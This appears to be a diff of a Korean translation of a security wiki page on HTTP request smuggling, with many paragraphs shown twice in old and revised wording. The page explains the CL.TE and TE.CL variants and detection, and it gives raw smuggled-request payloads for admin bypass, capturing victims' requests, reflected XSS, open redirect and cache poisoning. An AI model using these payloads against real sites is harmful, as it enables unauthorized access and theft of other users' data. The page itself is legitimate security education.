* **Transfer-Encoding:** 이 헤더는 **다음 청크**의 **바이트 수**를 나타내기 위해 본문에서 **16진수**를 사용합니다. **청크**는 **새 줄**로 **끝나야** 하지만 이 새 줄은 **길이 표시기**에 의해 **계산되지 않습니다**. 이 전송 방법은 **크기 0의 청크로 끝나고 2개의 새 줄이 뒤따라야** 합니다: `0`
|
||||
* **Content-Length**: 이 헤더는 요청 본문의 **바이트 수**를 나타내기 위해 **10진수** 숫자를 사용합니다. 본문은 마지막 문자에서 끝나야 하며, **요청의 끝에 새 줄이 필요하지 않습니다**.
|
||||
* **Transfer-Encoding:** 이 헤더는 **다음 청크**의 **바이트 수**를 나타내기 위해 본문에서 **16진수** 숫자를 사용합니다. **청크**는 **새 줄**로 **끝나야** 하지만 이 새 줄은 **길이 표시기**에 의해 **계산되지 않습니다**. 이 전송 방법은 **크기 0의 청크**로 끝나야 하며, 그 뒤에 **2개의 새 줄**이 와야 합니다: `0`
|
||||
* **Connection**: 제 경험에 따르면 요청 스머글링의 첫 번째 요청에서 **`Connection: keep-alive`**를 사용하는 것이 좋습니다.
|
||||
|
||||
## 기본 예제
|
||||
|
||||
{% hint style="success" %}
|
||||
Burp Suite로 이를 악용하려고 할 때 **리피터에서 `Update Content-Length` 및 `Normalize HTTP/1 line endings`를 비활성화**하세요. 일부 도구는 새 줄, 캐리지 리턴 및 잘못된 content-length를 남용합니다.
|
||||
이것을 Burp Suite로 악용하려고 할 때 **리피터에서 `Update Content-Length` 및 `Normalize HTTP/1 line endings`를 비활성화하세요**. 일부 도구는 새 줄, 캐리지 리턴 및 잘못된 content-length를 남용합니다.
|
||||
{% endhint %}
|
||||
|
||||
HTTP 요청 스머글링 공격은 `Content-Length` (CL) 및 `Transfer-Encoding` (TE) 헤더를 해석하는 프론트엔드와 백엔드 서버 간의 불일치를 이용하여 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, 및 **TE.TE** 형태로 나타날 수 있습니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선시하는 방식의 고유한 조합을 나타냅니다. 취약점은 서버가 동일한 요청을 서로 다른 방식으로 처리하여 예상치 못한 결과를 초래할 때 발생합니다.
|
||||
HTTP 요청 스머글링 공격은 `Content-Length` (CL) 및 `Transfer-Encoding` (TE) 헤더를 해석하는 프론트엔드와 백엔드 서버 간의 불일치를 악용하여 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, 및 **TE.TE** 형태로 나타날 수 있습니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선시하는 방식의 고유한 조합을 나타냅니다. 취약점은 서버가 동일한 요청을 서로 다른 방식으로 처리하여 예상치 못한 결과를 초래하는 데서 발생합니다.
|
||||
|
||||
### 취약점 유형의 기본 예제
|
||||
|
||||
|
@ -64,7 +72,7 @@ HTTP 요청 스머글링 공격은 `Content-Length` (CL) 및 `Transfer-Encoding`
|
|||
이전 표에 TE.0 기술을 추가해야 하며, CL.0 기술과 유사하지만 Transfer Encoding을 사용합니다.
|
||||
{% endhint %}
|
||||
|
||||
#### CL.TE 취약점 (프론트엔드에서 사용된 Content-Length, 백엔드에서 사용된 Transfer-Encoding)
|
||||
#### CL.TE 취약점 (프론트엔드에서 Content-Length 사용, 백엔드에서 Transfer-Encoding 사용)
|
||||
|
||||
* **프론트엔드 (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
|
||||
* **백엔드 (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
|
||||
|
@ -87,7 +95,7 @@ GET /404 HTTP/1.1
|
|||
Foo: x
|
||||
```
|
||||
|
||||
#### TE.CL 취약점 (프론트엔드에서 사용된 Transfer-Encoding, 백엔드에서 사용된 Content-Length)
|
||||
#### TE.CL 취약점 (프론트엔드에서 Transfer-Encoding 사용, 백엔드에서 Content-Length 사용)
|
||||
|
||||
* **프론트엔드 (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
|
||||
* **백엔드 (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
|
||||
|
@ -115,11 +123,11 @@ x=
|
|||
|
||||
```
|
||||
|
||||
#### TE.TE 취약점 (둘 다 Transfer-Encoding을 사용하며, 난독화)
|
||||
#### TE.TE 취약점 (둘 다 Transfer-Encoding을 사용하며, 난독화 포함)
|
||||
|
||||
* **서버:** 둘 다 `Transfer-Encoding`을 지원하지만, 하나는 난독화를 통해 이를 무시하도록 속일 수 있습니다.
|
||||
* **공격 시나리오:**
|
||||
* 공격자가 난독화된 `Transfer-Encoding` 헤더가 있는 요청을 보냅니다.
|
||||
* 공격자가 난독화된 `Transfer-Encoding` 헤더가 포함된 요청을 보냅니다.
|
||||
* 어떤 서버(프론트엔드 또는 백엔드)가 난독화를 인식하지 못하는지에 따라 CL.TE 또는 TE.CL 취약점이 악용될 수 있습니다.
|
||||
* 요청의 처리되지 않은 부분은 서버 중 하나에서 후속 요청의 일부가 되어 스머글링으로 이어집니다.
|
||||
* **예제:**
|
||||
|
@ -141,9 +149,9 @@ Transfer-Encoding
|
|||
: chunked
|
||||
```
|
||||
|
||||
#### **CL.CL 시나리오 (프론트엔드와 백엔드 모두에서 사용된 Content-Length)**
|
||||
#### **CL.CL 시나리오 (프론트엔드와 백엔드 모두 Content-Length 사용)**
|
||||
|
||||
* 두 서버는 요청을 오직 `Content-Length` 헤더만 기반으로 처리합니다.
|
||||
* 두 서버는 요청을 오로지 `Content-Length` 헤더만 기반으로 처리합니다.
|
||||
* 이 시나리오는 일반적으로 스머글링으로 이어지지 않으며, 두 서버가 요청 길이를 해석하는 방식이 일치합니다.
|
||||
* **예제:**
|
||||
|
||||
|
@ -158,8 +166,8 @@ Normal Request
|
|||
|
||||
#### **CL.0 시나리오**
|
||||
|
||||
* `Content-Length` 헤더가 존재하고 0이 아닌 값을 가지며 요청 본문에 콘텐츠가 있음을 나타냅니다. 백엔드는 `Content-Length` 헤더를 무시하고(0으로 처리됨), 프론트엔드는 이를 파싱합니다.
|
||||
* 이는 스머글링 공격을 이해하고 만드는 데 중요하며, 서버가 요청의 끝을 결정하는 방식에 영향을 미칩니다.
|
||||
* `Content-Length` 헤더가 존재하고 0이 아닌 값을 가지며, 요청 본문에 콘텐츠가 있음을 나타냅니다. 백엔드는 `Content-Length` 헤더를 무시하고(0으로 처리됨), 프론트엔드는 이를 파싱합니다.
|
||||
* 이는 스머글링 공격을 이해하고 구성하는 데 중요하며, 서버가 요청의 끝을 결정하는 방식에 영향을 미칩니다.
|
||||
* **예제:**
|
||||
|
||||
```
|
||||
|
@ -195,9 +203,9 @@ EMPTY_LINE_HERE
|
|||
```
|
||||
#### 웹 서버 파괴
|
||||
|
||||
이 기술은 **초기 HTTP 데이터를 읽는 동안 웹 서버를 파괴할 수 있는** 시나리오에서 유용합니다. 하지만 **연결을 닫지 않고** 진행됩니다. 이렇게 하면 HTTP 요청의 **본문**이 **다음 HTTP 요청**으로 간주됩니다.
|
||||
이 기술은 **초기 HTTP 데이터를 읽는 동안 웹 서버를 파괴할 수 있는** 시나리오에서 유용합니다. 하지만 **연결을 닫지 않고** 가능합니다. 이렇게 하면 HTTP 요청의 **본문**이 **다음 HTTP 요청**으로 간주됩니다.
|
||||
|
||||
예를 들어, [**이 글**](https://mizu.re/post/twisty-python)에서 설명된 바와 같이, Werkzeug에서는 일부 **유니코드** 문자를 전송하여 서버를 **파괴**할 수 있었습니다. 그러나 HTTP 연결이 **`Connection: keep-alive`** 헤더로 생성되었다면 요청의 본문은 읽히지 않고 연결은 여전히 열려 있으므로 요청의 **본문**은 **다음 HTTP 요청**으로 처리됩니다.
|
||||
예를 들어, [**이 글**](https://mizu.re/post/twisty-python)에서 설명된 바와 같이, Werkzeug에서는 일부 **유니코드** 문자를 전송하여 서버를 **파괴**할 수 있었습니다. 그러나 HTTP 연결이 **`Connection: keep-alive`** 헤더로 생성된 경우 요청의 본문은 읽히지 않으며 연결은 여전히 열려 있으므로 요청의 **본문**은 **다음 HTTP 요청**으로 처리됩니다.
|
||||
|
||||
#### 홉-바이-홉 헤더를 통한 강제화
|
||||
|
||||
|
@ -213,7 +221,7 @@ For **more information about hop-by-hop headers** visit:
|
|||
|
||||
## Finding HTTP Request Smuggling
|
||||
|
||||
HTTP 요청 밀어내기 취약점을 식별하는 것은 종종 타이밍 기술을 사용하여 달성할 수 있으며, 이는 조작된 요청에 대한 서버의 응답 시간을 관찰하는 데 의존합니다. 이러한 기술은 CL.TE 및 TE.CL 취약점을 감지하는 데 특히 유용합니다. 이러한 방법 외에도 이러한 취약점을 찾는 데 사용할 수 있는 다른 전략과 도구가 있습니다:
|
||||
HTTP 요청 밀어내기 취약점을 식별하는 것은 종종 타이밍 기법을 사용하여 서버가 조작된 요청에 응답하는 데 걸리는 시간을 관찰함으로써 달성할 수 있습니다. 이러한 기법은 CL.TE 및 TE.CL 취약점을 감지하는 데 특히 유용합니다. 이러한 방법 외에도 이러한 취약점을 찾는 데 사용할 수 있는 다른 전략과 도구가 있습니다:
|
||||
|
||||
### Finding CL.TE Vulnerabilities Using Timing Techniques
|
||||
|
||||
|
@ -272,23 +280,23 @@ X
|
|||
|
||||
### HTTP Request Smuggling Vulnerability Testing
|
||||
|
||||
타이밍 기술의 효과를 확인한 후, 클라이언트 요청을 조작할 수 있는지 확인하는 것이 중요합니다. 간단한 방법은 요청을 오염시키는 것을 시도하는 것입니다. 예를 들어, `/`에 대한 요청이 404 응답을 생성하도록 만드는 것입니다. 이전에 논의된 `CL.TE` 및 `TE.CL` 예제는 클라이언트의 요청을 오염시켜 404 응답을 유도하는 방법을 보여줍니다. 클라이언트는 다른 리소스에 접근하려고 합니다.
|
||||
타이밍 기법의 효과를 확인한 후, 클라이언트 요청을 조작할 수 있는지 확인하는 것이 중요합니다. 간단한 방법은 요청을 오염시키는 것을 시도하는 것입니다. 예를 들어, `/`에 대한 요청이 404 응답을 생성하도록 만드는 것입니다. 이전에 논의된 `CL.TE` 및 `TE.CL` 예제는 클라이언트의 요청을 오염시켜 404 응답을 유도하는 방법을 보여줍니다. 클라이언트는 다른 리소스에 접근하려고 합니다.
|
||||
|
||||
**Key Considerations**
|
||||
|
||||
요청 밀어내기 취약점을 테스트할 때 다른 요청에 간섭하는 경우 다음 사항을 염두에 두십시오:
|
||||
요청 밀어내기 취약점을 테스트할 때 다른 요청에 간섭할 때 유의해야 할 사항:
|
||||
|
||||
* **Distinct Network Connections:** "공격" 및 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청 모두에 대해 동일한 연결을 사용하는 것은 취약점의 존재를 검증하지 않습니다.
|
||||
* **Consistent URL and Parameters:** 두 요청 모두에 대해 동일한 URL 및 매개변수 이름을 사용하도록 합니다. 현대 애플리케이션은 종종 URL 및 매개변수를 기반으로 특정 백엔드 서버로 요청을 라우팅합니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 성공적인 공격의 전제 조건입니다.
|
||||
* **Distinct Network Connections:** "공격" 요청과 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청에 동일한 연결을 사용하는 것은 취약점의 존재를 검증하지 않습니다.
|
||||
* **Consistent URL and Parameters:** 두 요청 모두 동일한 URL 및 매개변수 이름을 사용하도록 합니다. 현대 애플리케이션은 종종 URL 및 매개변수에 따라 특정 백엔드 서버로 요청을 라우팅합니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 성공적인 공격의 전제 조건입니다.
|
||||
* **Timing and Racing Conditions:** "정상" 요청은 "공격" 요청의 간섭을 감지하기 위해 다른 동시 애플리케이션 요청과 경쟁합니다. 따라서 "공격" 요청 직후에 "정상" 요청을 전송합니다. 바쁜 애플리케이션은 결론적인 취약점 확인을 위해 여러 번의 시도가 필요할 수 있습니다.
|
||||
* **Load Balancing Challenges:** 로드 밸런서 역할을 하는 프론트엔드 서버는 요청을 다양한 백엔드 시스템에 분배할 수 있습니다. "공격" 및 "정상" 요청이 서로 다른 시스템에 도달하면 공격이 성공하지 않습니다. 이 로드 밸런싱 측면은 취약점을 확인하기 위해 여러 번의 시도가 필요할 수 있습니다.
|
||||
* **Unintended User Impact:** 공격이 다른 사용자의 요청(탐지를 위해 보낸 "정상" 요청이 아님)에 의도치 않게 영향을 미치는 경우, 이는 공격이 다른 애플리케이션 사용자에게 영향을 미쳤음을 나타냅니다. 지속적인 테스트는 다른 사용자에게 방해가 될 수 있으므로 신중한 접근이 필요합니다.
|
||||
* **Load Balancing Challenges:** 로드 밸런서 역할을 하는 프론트엔드 서버는 요청을 다양한 백엔드 시스템에 분배할 수 있습니다. "공격" 요청과 "정상" 요청이 서로 다른 시스템에 도달하면 공격이 성공하지 않습니다. 이 로드 밸런싱 측면은 취약점을 확인하기 위해 여러 번의 시도가 필요할 수 있습니다.
|
||||
* **Unintended User Impact:** 공격이 다른 사용자의 요청(탐지를 위해 보낸 "정상" 요청이 아님)에 의도치 않게 영향을 미친다면, 이는 공격이 다른 애플리케이션 사용자에게 영향을 미쳤음을 나타냅니다. 지속적인 테스트는 다른 사용자에게 방해가 될 수 있으므로 신중한 접근이 필요합니다.
|
||||
|
||||
## Abusing HTTP Request Smuggling
|
||||
|
||||
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||
|
||||
때때로 프론트엔드 프록시는 보안 조치를 시행하여 들어오는 요청을 면밀히 조사합니다. 그러나 이러한 조치는 HTTP 요청 밀어내기를 이용하여 우회할 수 있으며, 이를 통해 제한된 엔드포인트에 대한 무단 액세스를 허용합니다. 예를 들어, `/admin`에 접근하는 것은 외부에서 금지될 수 있으며, 프론트엔드 프록시는 이러한 시도를 적극적으로 차단합니다. 그럼에도 불구하고 이 프록시는 밀어낸 HTTP 요청 내의 내장 요청을 검사하지 않을 수 있어 이러한 제한을 우회할 수 있는 허점을 남깁니다.
|
||||
때때로 프론트엔드 프록시는 보안 조치를 시행하여 들어오는 요청을 면밀히 조사합니다. 그러나 이러한 조치는 HTTP 요청 밀어내기를 이용하여 우회할 수 있으며, 이를 통해 제한된 엔드포인트에 대한 무단 접근이 가능합니다. 예를 들어, `/admin`에 접근하는 것은 외부에서 금지될 수 있으며, 프론트엔드 프록시는 이러한 시도를 적극적으로 차단합니다. 그럼에도 불구하고 이 프록시는 밀어낸 HTTP 요청 내에 포함된 요청을 검사하지 않을 수 있어 이러한 제한을 우회할 수 있는 허점을 남깁니다.
|
||||
|
||||
다음 예제는 HTTP 요청 밀어내기를 사용하여 프론트엔드 보안 제어를 우회하는 방법을 보여줍니다. 특히 일반적으로 프론트엔드 프록시가 보호하는 `/admin` 경로를 목표로 합니다:
|
||||
|
||||
|
@ -327,13 +335,13 @@ a=x
|
|||
0
|
||||
|
||||
```
|
||||
반대로, TE.CL 공격에서는 초기 `POST` 요청이 `Transfer-Encoding: chunked`를 사용하고, 이후에 포함된 요청은 `Content-Length` 헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 밀반입된 `GET /admin` 요청을 간과하여, 제한된 `/admin` 경로에 대한 접근을 우연히 허용합니다.
|
||||
반대로, TE.CL 공격에서는 초기 `POST` 요청이 `Transfer-Encoding: chunked`를 사용하고, 이후의 임베디드 요청은 `Content-Length` 헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 밀반입된 `GET /admin` 요청을 간과하여, 의도치 않게 제한된 `/admin` 경로에 대한 접근을 허용합니다.
|
||||
|
||||
### 프론트엔드 요청 재작성 공개 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
응용 프로그램은 종종 **프론트엔드 서버**를 사용하여 들어오는 요청을 수정한 후 백엔드 서버로 전달합니다. 일반적인 수정 사항은 클라이언트의 IP를 백엔드로 전달하기 위해 `X-Forwarded-For: <IP of the client>`와 같은 헤더를 추가하는 것입니다. 이러한 수정 사항을 이해하는 것은 **보호를 우회**하거나 **숨겨진 정보나 엔드포인트를 드러내는 방법**을 밝혀낼 수 있기 때문에 중요할 수 있습니다.
|
||||
응용 프로그램은 종종 **프론트엔드 서버**를 사용하여 들어오는 요청을 수정한 후 백엔드 서버에 전달합니다. 일반적인 수정 사항은 클라이언트의 IP를 백엔드에 전달하기 위해 `X-Forwarded-For: <IP of the client>`와 같은 헤더를 추가하는 것입니다. 이러한 수정 사항을 이해하는 것은 **보호 우회** 또는 **숨겨진 정보나 엔드포인트를 드러내는 방법**을 밝혀낼 수 있기 때문에 중요할 수 있습니다.
|
||||
|
||||
프록시가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에서 에코하는 POST 매개변수를 찾습니다. 그런 다음, 이 매개변수를 마지막에 사용하여 다음과 유사한 요청을 작성합니다:
|
||||
프록시가 요청을 어떻게 변경하는지 조사하기 위해, 백엔드가 응답에서 에코하는 POST 매개변수를 찾습니다. 그런 다음, 이 매개변수를 마지막에 사용하여 다음과 유사한 요청을 작성합니다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -352,7 +360,7 @@ search=
|
|||
```
|
||||
이 구조에서는 후속 요청 구성 요소가 `search=` 뒤에 추가되며, 이는 응답에 반영되는 매개변수입니다. 이 반영은 후속 요청의 헤더를 노출시킵니다.
|
||||
|
||||
중요한 것은 중첩 요청의 `Content-Length` 헤더를 실제 콘텐츠 길이에 맞추는 것입니다. 작은 값으로 시작하여 점진적으로 증가시키는 것이 좋습니다. 너무 낮은 값은 반영된 데이터를 잘라내고, 너무 높은 값은 요청이 오류를 발생시킬 수 있습니다.
|
||||
중요한 것은 중첩 요청의 `Content-Length` 헤더를 실제 콘텐츠 길이에 맞추는 것입니다. 작은 값으로 시작하고 점진적으로 증가시키는 것이 좋습니다. 너무 낮은 값은 반영된 데이터를 잘라내고, 너무 높은 값은 요청이 오류를 발생시킬 수 있습니다.
|
||||
|
||||
이 기술은 TE.CL 취약점의 맥락에서도 적용 가능하지만, 요청은 `search=\r\n0`으로 종료되어야 합니다. 줄 바꿈 문자와 관계없이 값은 검색 매개변수에 추가됩니다.
|
||||
|
||||
|
@ -384,9 +392,9 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
|
|||
```
|
||||
이 시나리오에서, **comment parameter**는 공개적으로 접근 가능한 페이지의 게시물 댓글 섹션 내의 내용을 저장하기 위해 설계되었습니다. 따라서, 이후 요청의 내용은 댓글로 나타납니다.
|
||||
|
||||
그러나 이 기술에는 한계가 있습니다. 일반적으로, 이는 밀반입된 요청에서 사용된 매개변수 구분자까지의 데이터만 캡처합니다. URL 인코딩된 양식 제출의 경우, 이 구분자는 `&` 문자입니다. 이는 피해 사용자 요청에서 캡처된 내용이 첫 번째 `&`에서 중단됨을 의미하며, 이는 쿼리 문자열의 일부일 수도 있습니다.
|
||||
그러나 이 기술에는 한계가 있습니다. 일반적으로, 이는 밀반입된 요청에서 사용된 매개변수 구분자까지의 데이터만 캡처합니다. URL 인코딩된 양식 제출의 경우, 이 구분자는 `&` 문자입니다. 이는 피해자 사용자의 요청에서 캡처된 내용이 첫 번째 `&`에서 멈춘다는 것을 의미하며, 이는 쿼리 문자열의 일부일 수도 있습니다.
|
||||
|
||||
또한, 이 접근 방식은 TE.CL 취약점에서도 유효하다는 점에 유의할 필요가 있습니다. 이러한 경우, 요청은 `search=\r\n0`으로 끝나야 합니다. 줄 바꿈 문자와 관계없이, 값은 검색 매개변수에 추가됩니다.
|
||||
또한, 이 접근 방식은 TE.CL 취약점에서도 유효하다는 점에 유의할 가치가 있습니다. 이러한 경우, 요청은 `search=\r\n0`으로 끝나야 합니다. 줄 바꿈 문자와 관계없이, 값은 검색 매개변수에 추가됩니다.
|
||||
|
||||
### HTTP request smuggling을 사용하여 반사된 XSS를 악용하기
|
||||
|
||||
|
@ -395,7 +403,7 @@ HTTP Request Smuggling은 **Reflected XSS**에 취약한 웹 페이지를 악용
|
|||
* 대상 사용자와의 상호작용이 **필요하지 않습니다**.
|
||||
* HTTP 요청 헤더와 같이 **일반적으로 접근할 수 없는** 요청의 일부에서 XSS를 악용할 수 있습니다.
|
||||
|
||||
웹사이트가 User-Agent 헤더를 통해 반사된 XSS에 취약한 경우, 다음 페이로드는 이 취약점을 악용하는 방법을 보여줍니다:
|
||||
사용자 에이전트 헤더를 통해 웹사이트가 반사된 XSS에 취약한 경우, 다음 페이로드는 이 취약점을 악용하는 방법을 보여줍니다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
|
@ -418,21 +426,21 @@ A=
|
|||
```
|
||||
이 페이로드는 취약점을 악용하기 위해 다음과 같이 구조화되었습니다:
|
||||
|
||||
1. `Transfer-Encoding: chunked` 헤더가 있는 일반적인 `POST` 요청을 시작하여 밀반입의 시작을 나타냅니다.
|
||||
1. `Transfer-Encoding: chunked` 헤더를 사용하여 밀반입의 시작을 나타내는 일반적인 `POST` 요청을 시작합니다.
|
||||
2. 이어서 `0`을 추가하여 청크된 메시지 본문의 끝을 표시합니다.
|
||||
3. 그런 다음, `User-Agent` 헤더에 `<script>alert(1)</script>` 스크립트를 주입한 밀반입된 `GET` 요청이 도입되어, 서버가 이 후속 요청을 처리할 때 XSS가 트리거됩니다.
|
||||
3. 그런 다음, `User-Agent` 헤더에 `<script>alert(1)</script>` 스크립트를 주입하여 서버가 이 후속 요청을 처리할 때 XSS를 트리거하는 밀반입된 `GET` 요청이 도입됩니다.
|
||||
|
||||
밀반입을 통해 `User-Agent`를 조작함으로써, 페이로드는 정상 요청 제약을 우회하여 비표준이지만 효과적인 방식으로 반사된 XSS 취약점을 악용합니다.
|
||||
밀반입을 통해 `User-Agent`를 조작함으로써, 페이로드는 일반 요청 제약을 우회하여 비표준이지만 효과적인 방식으로 반사된 XSS 취약점을 악용합니다.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
{% hint style="danger" %}
|
||||
사용자 콘텐츠가 **`Content-type`**이 **`text/plain`**인 응답에 반영되는 경우, XSS 실행을 방지합니다. 서버가 **HTTP/0.9를 지원하는 경우 이를 우회할 수 있을지도 모릅니다**!
|
||||
사용자 콘텐츠가 **`Content-type`**이 **`text/plain`**인 응답에 반영되는 경우 XSS 실행을 방지합니다. 서버가 **HTTP/0.9를 지원하는 경우 이를 우회할 수 있을지도 모릅니다**!
|
||||
{% endhint %}
|
||||
|
||||
HTTP/0.9 버전은 1.0 이전의 버전으로, **GET** 동사만 사용하며 **헤더**로 응답하지 않고 본체만 응답합니다.
|
||||
|
||||
[**이 글**](https://mizu.re/post/twisty-python)에서는 요청 밀반입과 **사용자의 입력에 응답하는 취약한 엔드포인트**를 악용하여 HTTP/0.9로 요청을 밀반입했습니다. 응답에 반영될 매개변수는 **유효한 실행 가능한 JS 코드가 포함된 가짜 HTTP/1.1 응답(헤더와 본체 포함)**을 포함하므로, 응답은 `Content-Type`이 `text/html`인 유효한 실행 가능한 JS 코드를 포함합니다.
|
||||
[**이 글**](https://mizu.re/post/twisty-python)에서는 요청 밀반입과 **사용자의 입력에 응답하는 취약한 엔드포인트**를 이용하여 HTTP/0.9로 요청을 밀반입하는 방식으로 악용되었습니다. 응답에 반영될 매개변수는 **유효한 실행 가능한 JS 코드가 포함된 가짜 HTTP/1.1 응답(헤더와 본체 포함)**을 포함하므로 응답은 `Content-Type`이 `text/html`인 유효한 실행 가능한 JS 코드를 포함하게 됩니다.
|
||||
|
||||
### HTTP 요청 밀반입을 통한 사이트 내 리디렉션 악용 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
|
@ -460,7 +468,7 @@ GET /home HTTP/1.1
|
|||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
이 스머글된 요청은 다음에 처리된 사용자 요청이 공격자 제어 웹사이트로 리디렉션될 수 있습니다:
|
||||
이 스머글된 요청은 다음에 처리되는 사용자 요청이 공격자가 제어하는 웹사이트로 리디렉션될 수 있습니다:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
|
@ -476,11 +484,11 @@ Location: https://attacker-website.com/home/
|
|||
|
||||
### HTTP 요청 스머글링을 통한 웹 캐시 오염 활용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
웹 캐시 오염은 **프론트엔드 인프라의 어떤 구성 요소가 콘텐츠를 캐시**할 경우 실행될 수 있으며, 일반적으로 성능 향상을 위해 사용됩니다. 서버의 응답을 조작함으로써 **캐시를 오염**시킬 수 있습니다.
|
||||
웹 캐시 오염은 **프론트엔드 인프라의 어떤 구성 요소가 콘텐츠를 캐시**할 경우 실행될 수 있으며, 일반적으로 성능을 향상시키기 위해 사용됩니다. 서버의 응답을 조작함으로써 **캐시를 오염**시킬 수 있습니다.
|
||||
|
||||
이전에 서버 응답을 변경하여 404 오류를 반환하는 방법을 관찰했습니다 (참조: [기본 예제](./#basic-examples)). 유사하게, 서버를 속여 `/static/include.js` 요청에 대한 응답으로 `/index.html` 콘텐츠를 제공하도록 할 수 있습니다. 결과적으로 `/static/include.js` 콘텐츠는 캐시에서 `/index.html`의 내용으로 대체되어, `/static/include.js`에 대한 접근이 사용자에게 불가능해지며, 이는 서비스 거부(DoS)로 이어질 수 있습니다.
|
||||
이전에 서버 응답을 변경하여 404 오류를 반환하는 방법을 관찰했습니다 (참조: [기본 예제](./#basic-examples)). 유사하게, 서버를 속여 `/static/include.js` 요청에 대한 응답으로 `/index.html` 콘텐츠를 제공하도록 할 수 있습니다. 결과적으로, `/static/include.js` 콘텐츠는 캐시에서 `/index.html`의 콘텐츠로 대체되어 사용자가 `/static/include.js`에 접근할 수 없게 되며, 이는 서비스 거부(DoS)로 이어질 수 있습니다.
|
||||
|
||||
이 기술은 **오픈 리다이렉트 취약점**이 발견되거나 **오픈 리다이렉트로의 사이트 내 리다이렉트**가 있을 경우 특히 강력해집니다. 이러한 취약점을 이용하여 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 교체할 수 있으며, 이는 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대한 광범위한 크로스 사이트 스크립팅(XSS) 공격을 가능하게 합니다.
|
||||
이 기술은 **오픈 리다이렉트 취약점**이 발견되거나 **오픈 리다이렉트로의 사이트 내 리다이렉트**가 있을 경우 특히 강력해집니다. 이러한 취약점을 이용하여 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 대체할 수 있으며, 이는 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대한 광범위한 교차 사이트 스크립팅(XSS) 공격을 가능하게 합니다.
|
||||
|
||||
아래는 **사이트 내 리다이렉트와 오픈 리다이렉트를 결합한 캐시 오염 활용**의 예시입니다. 목표는 공격자가 제어하는 JavaScript 코드를 제공하기 위해 `/static/include.js`의 캐시 콘텐츠를 변경하는 것입니다:
|
||||
```
|
||||
|
@ -500,20 +508,20 @@ Content-Length: 10
|
|||
|
||||
x=1
|
||||
```
|
||||
Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
|
||||
내장된 요청이 `/post/next?postId=3`를 타겟으로 하고 있음을 주목하십시오. 이 요청은 **Host 헤더 값**을 사용하여 도메인을 결정하며 `/post?postId=4`로 리디렉션됩니다. **Host 헤더**를 변경함으로써 공격자는 요청을 자신의 도메인으로 리디렉션할 수 있습니다 (**온사이트 리디렉션에서 오픈 리디렉션**).
|
||||
|
||||
After successful **socket poisoning**, a **GET request** for `/static/include.js` should be initiated. This request will be contaminated by the prior **on-site redirect to open redirect** request and fetch the content of the script controlled by the attacker.
|
||||
성공적인 **소켓 오염** 후, `/static/include.js`에 대한 **GET 요청**이 시작되어야 합니다. 이 요청은 이전의 **온사이트 리디렉션에서 오픈 리디렉션** 요청에 의해 오염되어 공격자가 제어하는 스크립트의 내용을 가져옵니다.
|
||||
|
||||
Subsequently, any request for `/static/include.js` will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
|
||||
그 후, `/static/include.js`에 대한 모든 요청은 공격자의 스크립트의 캐시된 내용을 제공하여 광범위한 XSS 공격을 효과적으로 시작합니다.
|
||||
|
||||
### HTTP 요청 밀반입을 사용하여 웹 캐시 속임수를 수행하기 <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### HTTP 요청 밀반입을 사용하여 웹 캐시 기만 수행하기 <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **웹 캐시 오염과 웹 캐시 속임수의 차이점은 무엇인가요?**
|
||||
> **웹 캐시 오염과 웹 캐시 기만의 차이점은 무엇인가요?**
|
||||
>
|
||||
> * **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하고, 이 콘텐츠가 다른 애플리케이션 사용자에게 캐시에서 제공됩니다.
|
||||
> * **웹 캐시 속임수**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
|
||||
